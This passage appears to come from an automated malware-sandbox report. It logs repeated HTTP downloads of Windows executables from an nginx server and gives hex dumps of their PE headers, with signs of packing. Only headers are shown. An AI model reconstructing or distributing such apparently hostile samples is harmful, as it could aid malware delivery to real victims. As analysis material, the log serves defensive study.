00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:53:25 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:53:28 GMTContent-Type: application/octet-streamContent-Length: 2778624Last-Modified: Fri, 01 Nov 2024 04:00:31 GMTConnection: keep-aliveETag: "6724525f-2a6600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 6b 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 66 79 65 73 72 79 79 00 20 2a 00 00 a0 00 00 00 06 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6e 74 75 69 6c 70 00 20 00 00 00 c0 2a 00 00 04 00 00 00 40 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 44 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:53:41 GMTContent-Type: application/octet-streamContent-Length: 1917440Last-Modified: Fri, 01 Nov 2024 04:44:30 GMTConnection: keep-aliveETag: "67245cae-1d4200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4c 00 00 04 00 00 83 94 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c e4 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c e4 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 79 77 7a 76 68 70 67 00 30 1a 00 00 c0 31 00 00 26 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 75 78 78 6c 66 7a 77 00 10 00 00 00 f0 4b 00 00 04 00 00 00 1c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4c 00 00 22 00 00 00 20 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:53:42 GMTContent-Type: application/octet-streamContent-Length: 2778624Last-Modified: Fri, 01 Nov 2024 04:00:31 GMTConnection: keep-aliveETag: "6724525f-2a6600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 6b 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 66 79 65 73 72 79 79 00 20 2a 00 00 a0 00 00 00 06 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6e 74 75 69 6c 70 00 20 00 00 00 c0 2a 00 00 04 00 00 00 40 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 44 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:53:50 GMTContent-Type: application/octet-streamContent-Length: 1917440Last-Modified: Fri, 01 Nov 2024 04:44:30 GMTConnection: keep-aliveETag: "67245cae-1d4200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4c 00 00 04 00 00 83 94 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c e4 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c e4 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 79 77 7a 76 68 70 67 00 30 1a 00 00 c0 31 00 00 26 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 75 78 78 6c 66 7a 77 00 10 00 00 00 f0 4b 00 00 04 00 00 00 1c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4c 00 00 22 00 00 00 20 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:54:11 GMTContent-Type: application/octet-streamContent-Length: 2778624Last-Modified: Fri, 01 Nov 2024 04:00:31 GMTConnection: keep-aliveETag: "6724525f-2a6600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 6b 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 66 79 65 73 72 79 79 00 20 2a 00 00 a0 00 00 00 06 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6e 74 75 69 6c 70 00 20 00 00 00 c0 2a 00 00 04 00 00 00 40 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 44 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:54:13 GMTContent-Type: application/octet-streamContent-Length: 1917440Last-Modified: Fri, 01 Nov 2024 04:44:30 GMTConnection: keep-aliveETag: "67245cae-1d4200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4c 00 00 04 00 00 83 94 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c e4 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c e4 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 79 77 7a 76 68 70 67 00 30 1a 00 00 c0 31 00 00 26 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 75 78 78 6c 66 7a 77 00 10 00 00 00 f0 4b 00 00 04 00 00 00 1c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4c 00 00 22 00 00 00 20 1d 00 00 00 00 00 00 00 